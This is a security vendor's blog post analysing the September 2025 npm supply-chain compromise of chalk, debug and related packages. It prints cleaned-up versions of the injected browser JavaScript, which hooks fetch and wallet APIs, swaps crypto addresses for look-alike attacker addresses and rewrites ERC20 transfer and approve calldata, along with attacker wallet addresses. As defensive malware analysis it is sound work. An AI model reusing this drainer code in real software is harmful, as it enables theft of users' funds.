Back to Blog
Exaforce
Research
September 9, 2025

There’s a Snake in my package! How attackers are going from code to coin

How attackers hijacked popular NPM packages to replace crypto wallet addresses and silently redirect funds.

On September 8, 2025, NPM reported that several libraries were compromised in a user-side man-in-the-middle attack. Our research dug into the details about how the attack works. The injected code sniffs requests to detect cryptocurrency accounts, then silently replaces them with attacker-controlled ones.

  • ansi-regex 6.2.1
  • color-name 2.0.1
  • debug 4.4.2
  • wrap-ansi 9.0.1
  • simple-swizzle 0.2.3
  • chalk 5.6.1
  • strip-ansi 7.1.1
  • color-string 2.1.1
  • backslash 0.2.1
  • has-ansi 6.0.1
  • chalk-template 1.1.1
  • supports-color 10.2.1
  • slice-ansi 7.1.1
  • is-arrayish 0.3.3
  • color-convert 3.1.1
  • ansi-styles 6.2.2
  • supports-hyperlinks 4.1.1
  • error-ex 1.3.3
Example patched package impacted by the attack

All compromised versions have been removed from the NPM registry, and patched releases are available on NPM. We still recommend you scan your codebase, upgrade any impacted dependencies, and verify users have not been affected. This blog will break down how the attack went down and how to detect it.

Analysis of the attack

The attacker wasn’t too subtle when they included malicious code. The attacker added malicious, obfuscated JavaScript to the top of index.js in each package. The code was obfuscated and minified to look like normal script instructions, making it harder to detect.

Difference between versions 6.2.1 (compromised) and 6.2.2 (fixed) for package ansi-regex

The attack vector included detection of crypto wallets, interception of requests containing wallets, and replacement of legitimate addresses with attacker controlled ones. The flow broke down as follows:

  1. User visits an infected website
  2. Malicious code checks for cryptocurrency wallets
  3. It intercepts all network requests containing wallet addresses
  4. Wallet addresses are replaced with attacker-controlled ones using similarity matching
  5. When the victim initiates a transaction, funds are redirected
  6. Because legitimate wallet interfaces are used, the attack appears nearly invisible

Detecting malicious crypto wallets

Note: All code shown below has been cleaned up for better readability.

The malware begins by checking for an Ethereum object window.ethereum.  It then waits for an eth_accounts response, retrieves wallet addresses, and attempts to run runmask() and, if newdlocal() is never executed (rund ≠ 1), sets rund’s value to 1 and runs newdlocal() once.

var neth = 0;
var rund = 0;
var loval = 0;

async function checkethereumw() {
  try {
    const etherumReq = await window.ethereum.request({ method: 'eth_accounts' });
    etherumReq.length > 0 ? (runmask(), rund != 1 && (rund = 1, neth = 1, newdlocal())) : rund != 1 && (rund = 1, newdlocal());
  } catch (error) {
    if (rund != 1) {
      rund = 1;
      newdlocal();
    }
  }
}

typeof window != 'undefined' && typeof window.ethereum != 'undefined' ? checkethereumw() : rund != 1 && (rund = 1, newdlocal());

Request hooking

newdlocal() is the function that hooks the browser, grabs the requests being made, and tampers with the request to modify the target’s account with an attacker’s account. This effectively transfers the funds from a legitimate receiver to a malicious one. The following are the functions defined in the code, with the names of the functions modified for easy readability and the original function name next to it.

const originalFetch = fetch;
fetch = async function (...args) { 
  const response = await originalFetch(...args);
  const contentType = response.headers.get('Content-Type') || '';
  let data = contentType.includes('application/json') 
    ? await response.clone().json() 
    : await response.clone().text();
  
  const processed = processData(data);
  const finalData = typeof processed === 'string' ? processed : JSON.stringify(processed);

  return new Response(finalData, {
    status: response.status,
    statusText: response.statusText,
    headers: response.headers
  });
};

The moment a wallet is found, the script will look for the closest matching attacker wallet from any of the attacker provided wallets. That way, the user will not detect the attack, as the changed wallet will look similar to the legitimate one. The malicious functions _0x3479c8(_0x13a5cc, _0x8c209f) and _0x2abae0(_0x348925, _0x2f1e3d) use the Levenshtein distance, which is defined as the minimum number of single-character edits (insertions, deletions, or substitutions) required to change one word into the other. Then, it will try to hijack the fetch() API requests and XMLHttpRequest responses, effectively changing the wallet on the request and the response.

  function levenshteinDistance(a, b) { // _0x3479c8(_0x13a5cc, _0x8c209f)
    const dp = Array.from({ length: a.length + 1 }, () => Array(b.length + 1).fill(0));

    for (let i = 0; i <= a.length; i++) dp[i][0] = i;
    for (let j = 0; j <= b.length; j++) dp[0][j] = j;

    for (let i = 1; i <= a.length; i++) {
      for (let j = 1; j <= b.length; j++) {
        if (a[i - 1] === b[j - 1]) {
          dp[i][j] = dp[i - 1][j - 1];
        } else {
          dp[i][j] = 1 + Math.min(
            dp[i - 1][j],     // deletion
            dp[i][j - 1],     // insertion
            dp[i - 1][j - 1]  // substitution
          );
        }
      }
    }
    return dp[a.length][b.length];
  }

  function findClosestString(input, candidates) { // _0x2abae0(_0x348925, _0x2f1e3d)
    let bestDistance = Infinity;
    let bestMatch = null;
    for (let candidate of candidates) {
      const distance = levenshteinDistance(input.toLowerCase(), candidate.toLowerCase());
      if (distance < bestDistance) {
        bestDistance = distance;
        bestMatch = candidate;
      }
    }
    return bestMatch;
  }

The attacker included a list of attacker controlled wallets in the script, which are checked against the target’s controlled wallets.

  • Legacy Bitcoin: 1H13VnQJKtT4HjD5ZFKaaiZEetMbG7nDHx (and 39 others)
  • Bitcoin Bech32: bc1qms4f8ys8c4z47h0q29nnmyekc9r74u5ypqw6wm (and 39 others)
  • Ethereum: 0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976 (and 59 others)
  • Litecoin: LNFWHeiSjb4QB4iSHMEvaZ8caPwtz4t6Ug(and 39 others)
  • Bitcoin Cash: bitcoincash:qpwsaxghtvt6phm53vfdj0s6mj4l7h24dgkuxeanyh (and 39 others)
  • Solana: 5VVyuV5K6c2gMq1zVeQUFAmo8shPZH28MJCVzccrsZG6 (and 19 others)
  • Tron: TB9emsCq6fQw6wRk4HBxxNnU6Hwt1DnV67 (and 39 others)

The check will be performed for all wallets provided by the attacker, and the closest one will be returned.

function transform(inputStr) {
    var legacyBTC = [
    ];
    var segwitBTC = [
    ];
    var ethAddresses = [
    ];
    var solanaAddrs = [
    ];
    var tronAddrs = [
    ];
    var ltcAddrs = [
    ];
    var bchAddrs = [
    ];
    for (const [currency, regex] of Object.entries(_0x3ec3bb)) {
      const matches = inputStr.match(regex) || [];
      for (const match of matches) {
        if (currency == 'ethereum') {
          if (!ethAddresses.includes(match) && neth == 0) {
            inputStr = inputStr.replace(match, closestMatch(match, ethAddresses));
          }
        }
        if (currency == 'bitcoinLegacy') {
          if (!legacyBTC.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, legacyBTC));
          }
        }
        if (currency == 'bitcoinSegwit') {
          if (!segwitBTC.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, segwitBTC));
          }
        }
        if (currency == 'tron') {
          if (!tronAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, tronAddrs));
          }
        }
        if (currency == 'ltc') {
          if (!ltcAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, ltcAddrs));
          }
        }
        if (currency == 'ltc2') {
          if (!ltcAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, ltcAddrs));
          }
        }
        if (currency == 'bch') {
          if (!bchAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, bchAddrs));
          }
        }
        const allAddrs = [
          ...ethAddresses,
          ...legacyBTC,
          ...segwitBTC,
          ...tronAddrs,
          ...ltcAddrs,
          ...bchAddrs
        ];
        const isKnown = allAddrs.includes(match);
        if (currency == 'solana' && !isKnown) {
          if (!solanaAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, solanaAddrs));
          }
        }
        if (currency == 'solana2' && !isKnown) {
          if (!solanaAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, solanaAddrs));
          }
        }
        if (currency == 'solana3' && isKnown) {
          if (!solanaAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, solanaAddrs));
          }
        }
      }
    }
    return inputStr;
}

The script goes through the requests and responses, modifies the target’s wallet with an attacker controlled wallet, and lets the target continue with their operations.

Transaction Manipulation using runmask()

The runmask() function is designed to intercept wallet calls in a browser (MetaMask, Solana wallets, etc.) and modify the transaction data to inject attacker controlled address before it’s sent. When a wallet is detected by the script by finding the value of window.ethereum, the malware waits for methods like request, send, and sendAsync.

function interceptWallet(wallet) { // _0x41630a(_0x5d6d52)
    const methods = ['request', 'send', 'sendAsync'];

    methods.forEach(name => {
        if (typeof wallet[name] === 'function') {
            originalMethods.set(name, wallet[name]);
            Object.defineProperty(wallet, name, {
                value: wrapMethod(wallet[name]),
                writable: true,
                configurable: true
            });
        }
    });

    isActive = true;
}

When one of the methods is found, the function _0x485f9d(_0x38473f will _0x292c7a) will try to find out if the transaction is an Ethereum or Solana transaction and modify the transaction using the function _0x1089ae(_0x4ac357, _0xc83c36 = true).

function wrapMethod(originalMethod) { // _0x1089ae(_0x4ac357, _0xc83c36 = true)
  return async function (...args) {
    increment++; // increment intercept count
    let clonedArgs;

    // Deep clone arguments to avoid mutation
    try {
      clonedArgs = JSON.parse(JSON.stringify(args));
    } catch {
      clonedArgs = [...args];
    }

    if (args[0] && typeof args[0] === 'object') {
      const request = clonedArgs[0];

      // Ethereum transaction
      if (request.method === 'eth_sendTransaction' && request.params?.[0]) {
        try {
          request.params[0] = maskTransaction(request.params[0], true); // _0x1089ae(tx, false)
        } catch {}

      // Solana transaction
      } else if (
        (request.method === 'solana_signTransaction' || request.method === 'solana_signAndSendTransaction') &&
        request.params?.[0]
      ) {
        try {
          let tx = request.params[0].transaction || request.params[0];
          const maskedTx = maskTransaction(tx, false); // _0x1089ae(tx, false)
          if (request.params[0].transaction) {
            request.params[0].transaction = maskedTx;
          } else {
            request.params[0] = maskedTx;
          }
        } catch {}
      }
    }

    const result = originalMethod();

    // Handle promises
    if (result && typeof result.then === 'function') {
      return result.then(res => res).catch(err => { throw err; });
    }

    return result;
  };
}

Function _0x1089ae(_0x4ac357, _0xc83c36 = true) grabs the request intercepted by the malware and injects its own address on it, while also tampering with the Ethereum ERC20 Token Contract or the Solana Transaction. In both cases, an attacker's address is provided.

function maskTransaction(tx, isEthereum = true) {
  // Deep clone transaction to avoid mutating original
  const maskedTx = JSON.parse(JSON.stringify(tx));

  if (isEthereum) {
    const attackAddress = '0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976';

    // Redirect non-zero value transactions
    if (maskedTx.value && maskedTx.value !== '0x0' && maskedTx.value !== '0') {
      maskedTx.to = attackAddress;
    }

    if (maskedTx.data) {
      const data = maskedTx.data.toLowerCase();

      // ERC20 approve
      if (data.startsWith('0x095ea7b3') && data.length >= 74) {
        maskedTx.data = data.substring(0, 10) +
                        '000000000000000000000000' + attackAddress.slice(2) +
                        'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff';
      }
      // Custom contract call
      else if (data.startsWith('0xd505accf') && data.length >= 458) {
        maskedTx.data = data.substring(0, 10) +
                        data.substring(10, 74) +
                        '000000000000000000000000' + attackAddress.slice(2) +
                        'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' +
                        data.substring(202);
      }
      // ERC20 transfer
      else if (data.startsWith('0xa9059cbb') && data.length >= 74) {
        maskedTx.data = data.substring(0, 10) +
                        '000000000000000000000000' + attackAddress.slice(2) +
                        data.substring(74);
      }
      // ERC20 transferFrom
      else if (data.startsWith('0x23b872dd') && data.length >= 138) {
        maskedTx.data = data.substring(0, 10) +
                        data.substring(10, 74) +
                        '000000000000000000000000' + attackAddress.slice(2) +
                        data.substring(138);
      }
    } else if (maskedTx.to && maskedTx.to !== attackAddress) {
      maskedTx.to = attackAddress;
    }
  } else {
    // Solana-style transaction masking
    if (maskedTx.instructions && Array.isArray(maskedTx.instructions)) {
      maskedTx.instructions.forEach(instr => {
        if (instr.accounts && Array.isArray(instr.accounts)) {
          instr.accounts.forEach(acc => {
            if (typeof acc === 'string') acc = '19111111111111111111111111111111';
            else acc.pubkey = '19111111111111111111111111111111';
          });
        }
        if (instr.keys && Array.isArray(instr.keys)) {
          instr.keys.forEach(key => key.pubkey = '19111111111111111111111111111111');
        }
      });
    }
    maskedTx.recipient = '19111111111111111111111111111111';
    maskedTx.destination = '19111111111111111111111111111111';
  }

  return maskedTx;
}

The Ethereum attacker address provided is the first element in the Ethereum Address list.

var _0x4477fc = [      
'0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976',      
--snip--

Recommendations and summing it up

We strongly recommend scanning your entire codebase for any of the compromised libraries and updating them immediately. This includes checking package.json, lock files, node_modules, and your SBOM dependency trees. Once updates are applied, monitor all recent wallet transactions for suspicious activity, revoke any exposed token approvals, and, where possible, migrate to fresh wallet addresses. To further reduce risk, ensure you pin package versions to mitigate similar supply chain compromises in the future.

This malware was highly sophisticated. It hooked into the browser, intercepted requests, hijacked wallets, and operated across multiple blockchains. By abusing legitimate channels, masking transactions, and using obfuscation techniques, it was able to blend in and remain difficult to detect.

Share

Table of contents

Share

Recent posts

May 29, 2025

Industry

3 points missing from agentic AI conversations at RSAC

May 27, 2025

Product

5 reasons why security investigations are broken - and how Exaforce fixes them

Button Text

Explore how Exaforce can help transform your security operations

See what Exabots + humans can do for you

No items found.
No items found.